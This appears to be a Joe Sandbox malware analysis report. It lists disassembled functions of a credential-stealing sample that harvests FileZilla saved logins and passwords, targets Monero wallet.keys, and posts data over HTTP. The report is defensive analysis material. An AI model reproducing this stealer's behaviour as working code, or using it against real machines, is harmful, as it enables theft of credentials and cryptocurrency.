Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction ID: 897f594f46128e436eb0dc98926c3470df639deb0822e77fb0571a0bd244de4d
Opcode Fuzzy Hash: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction Fuzzy Hash: C6512C62E09BD589C7058B7544502EEBFB26FE6210F1E829EC8981F383C375968DD3E5

Function 00527588 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction ID: 4d4380f719737e920eca18c290049424b63e8615d1407fedd07d3ef3da97591e
Opcode Fuzzy Hash: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction Fuzzy Hash: E5D0C9716097114FC3688F1EB440946FAE8DBD8320715C53FA09AC3750C6B094418B54

Function 004F9AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 004F03B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004F8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004F8F9B

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004EA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
Part of subcall function 004EA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
Part of subcall function 004EA110: LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
Part of subcall function 004EA110: ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
Part of subcall function 004EA110: LocalFree.KERNEL32(004E148F), ref: 004EA1E0
Part of subcall function 004EA110: CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

Part of subcall function 004F8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004F8FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00500DBF,00500DBE,00500DBB,00500DBA), ref: 004F04C2
RtlAllocateHeap.NTDLL(00000000), ref: 004F04C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004F04E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F04F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 004F052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F053D
StrStrA.SHLWAPI(00000000,<User>), ref: 004F0579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F0587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004F05C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F05D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F0662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F0692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F06AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004F06C2
lstrcat.KERNEL32(?,profile: null), ref: 004F06D1
lstrcat.KERNEL32(?,url: ), ref: 004F06E0
lstrcat.KERNEL32(?,00000000), ref: 004F06F3
lstrcat.KERNEL32(?,00501770), ref: 004F0702
lstrcat.KERNEL32(?,00000000), ref: 004F0715
lstrcat.KERNEL32(?,00501774), ref: 004F0724
lstrcat.KERNEL32(?,login: ), ref: 004F0733
lstrcat.KERNEL32(?,00000000), ref: 004F0746
lstrcat.KERNEL32(?,00501780), ref: 004F0755
lstrcat.KERNEL32(?,password: ), ref: 004F0764
lstrcat.KERNEL32(?,00000000), ref: 004F0777
lstrcat.KERNEL32(?,00501790), ref: 004F0786
lstrcat.KERNEL32(?,00501794), ref: 004F0795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00500DB7), ref: 004F07EE

Strings

<Host>, xrefs: 004F04DC
browser: FileZilla, xrefs: 004F06B9
<User>, xrefs: 004F0570
profile: null, xrefs: 004F06C8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004F0404
<Port>, xrefs: 004F0526
<Pass encoding="base64">, xrefs: 004F05BA
login: , xrefs: 004F072A
url: , xrefs: 004F06D7
password: , xrefs: 004F075B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: d6894f2f3e1ed371a52e522964d850dc142ff1828bc56a17d4fe208625147ee0
Instruction ID: 8bfc86319c0ec21e2c8b5e0e8a94b7ced80421aef072fe81db70349f7269e3c7
Opcode Fuzzy Hash: d6894f2f3e1ed371a52e522964d850dc142ff1828bc56a17d4fe208625147ee0
Instruction Fuzzy Hash: EFD120B190010CABCB04EBE5DD96EFE7739BF54304F008559F206B6195DF38AA58CB6A

Function 004E59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004E4889
Part of subcall function 004E4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 004E4899

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004E5A48
StrCmpCA.SHLWAPI(?,0145E888), ref: 004E5A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004E5BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0145E728,00000000,?,0145A400,00000000,?,00501B4C), ref: 004E5EC1
lstrlen.KERNEL32(00000000), ref: 004E5ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 004E5EE3
RtlAllocateHeap.NTDLL(00000000), ref: 004E5EEA
lstrlen.KERNEL32(00000000), ref: 004E5EFF
lstrlen.KERNEL32(00000000), ref: 004E5F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004E5F41
lstrlen.KERNEL32(00000000,?,?), ref: 004E5F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004E5F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004E5F9C
InternetCloseHandle.WININET(00000000), ref: 004E6000
InternetCloseHandle.WININET(00000000), ref: 004E600D
HttpOpenRequestA.WININET(00000000,0145E908,?,0145E208,00000000,00000000,00400100,00000000), ref: 004E5C48

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

InternetCloseHandle.WININET(00000000), ref: 004E6017

Strings

------, xrefs: 004E5D9C
", xrefs: 004E5E66
------, xrefs: 004E5AE6
", xrefs: 004E5D25
------, xrefs: 004E5C5B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 5991753d041adf49b98abb0a0f58da66606bf82e5913ae5da6f304df7432e0ab
Instruction ID: 2d4a0a3920e1149c4df30c72232480f21632ca3e008b862773bc34837550b325
Opcode Fuzzy Hash: 5991753d041adf49b98abb0a0f58da66606bf82e5913ae5da6f304df7432e0ab
Instruction Fuzzy Hash: FB12EEB192011CABCB15EBA1DCA5FFE7379BF54704F00419EB20A62191DF387A58CB69

Function 004ECFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004ED083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004ED1C7
RtlAllocateHeap.NTDLL(00000000), ref: 004ED1CE
lstrcat.KERNEL32(?,00000000), ref: 004ED308
lstrcat.KERNEL32(?,00501570), ref: 004ED317
lstrcat.KERNEL32(?,00000000), ref: 004ED32A
lstrcat.KERNEL32(?,00501574), ref: 004ED339
lstrcat.KERNEL32(?,00000000), ref: 004ED34C
lstrcat.KERNEL32(?,00501578), ref: 004ED35B
lstrcat.KERNEL32(?,00000000), ref: 004ED36E
lstrcat.KERNEL32(?,0050157C), ref: 004ED37D
lstrcat.KERNEL32(?,00000000), ref: 004ED390
lstrcat.KERNEL32(?,00501580), ref: 004ED39F
lstrcat.KERNEL32(?,00000000), ref: 004ED3B2
lstrcat.KERNEL32(?,00501584), ref: 004ED3C1
lstrcat.KERNEL32(?,00000000), ref: 004ED3D4
lstrcat.KERNEL32(?,00501588), ref: 004ED3E3

Part of subcall function 004FAB30: lstrlen.KERNEL32(004E4F55,?,?,004E4F55,00500DDF), ref: 004FAB3B
Part of subcall function 004FAB30: lstrcpy.KERNEL32(00500DDF,00000000), ref: 004FAB95

lstrlen.KERNEL32(?), ref: 004ED42A
lstrlen.KERNEL32(?), ref: 004ED439

Part of subcall function 004FAD80: StrCmpCA.SHLWAPI(00000000,00501568,004ED2A2,00501568,00000000), ref: 004FAD9F

DeleteFileA.KERNEL32(00000000), ref: 004ED4B4

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: b48d59dfeb6bce74de17a1d13e4be09d9932043d2e5a0fc59034f7be8cc9e427
Instruction ID: 1fae1986c28a25b0f6b46fcd387a138931914140d60cdc940dc37f8be13678f9
Opcode Fuzzy Hash: b48d59dfeb6bce74de17a1d13e4be09d9932043d2e5a0fc59034f7be8cc9e427
Instruction Fuzzy Hash: B9E124B19101089BCB08EBA1DD96EFE7339BF54305F10455AF30A761A1DE397E18CB6A

Function 004ECA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0145D480,00000000,?,00501544,00000000,?,?), ref: 004ECB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004ECB89
GetFileSize.KERNEL32(00000000,00000000), ref: 004ECB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004ECBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 004ECBD9
StrStrA.SHLWAPI(?,0145D4C8,00500B56), ref: 004ECBF7
StrStrA.SHLWAPI(00000000,0145D528), ref: 004ECC1E
StrStrA.SHLWAPI(?,0145DB40,00000000,?,00501550,00000000,?,00000000,00000000,?,014590E0,00000000,?,0050154C,00000000,?), ref: 004ECDA2
StrStrA.SHLWAPI(00000000,0145DC60), ref: 004ECDB9

Part of subcall function 004EC920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004EC971
Part of subcall function 004EC920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004EC97C

StrStrA.SHLWAPI(?,0145DC60,00000000,?,00501554,00000000,?,00000000,01459100), ref: 004ECE5A
StrStrA.SHLWAPI(00000000,01459050), ref: 004ECE71

Part of subcall function 004EC920: lstrcat.KERNEL32(?,00500B47), ref: 004ECA43
Part of subcall function 004EC920: lstrcat.KERNEL32(?,00500B4B), ref: 004ECA57
Part of subcall function 004EC920: lstrcat.KERNEL32(?,00500B4E), ref: 004ECA78

lstrlen.KERNEL32(00000000), ref: 004ECF44
CloseHandle.KERNEL32(00000000), ref: 004ECF9C

Strings

, xrefs: 004ECAC6

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 69a2bae54ce7fcbc58c40e1d15522997e0f38347756e03d5b881b8b297cd7638
Instruction ID: e9a2ced6ef68f8d87396d50dfce4fc21654d3ea2b91cf65a8fa5a385fcf1980b
Opcode Fuzzy Hash: 69a2bae54ce7fcbc58c40e1d15522997e0f38347756e03d5b881b8b297cd7638
Instruction Fuzzy Hash: FAE1FBB190010CABCB14EBA5DCA5FFEB779AF54304F00415EF20A67191EF386A59CB69

Function 004F84B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

RegOpenKeyExA.ADVAPI32(00000000,0145B228,00000000,00020019,00000000,005005BE), ref: 004F8534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004F85B6
wsprintfA.USER32 ref: 004F85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 004F860B
RegCloseKey.ADVAPI32(00000000), ref: 004F861C
RegCloseKey.ADVAPI32(00000000), ref: 004F8629

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Strings

?, xrefs: 004F850A
- , xrefs: 004F8733
%s\%s, xrefs: 004F85DD

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd
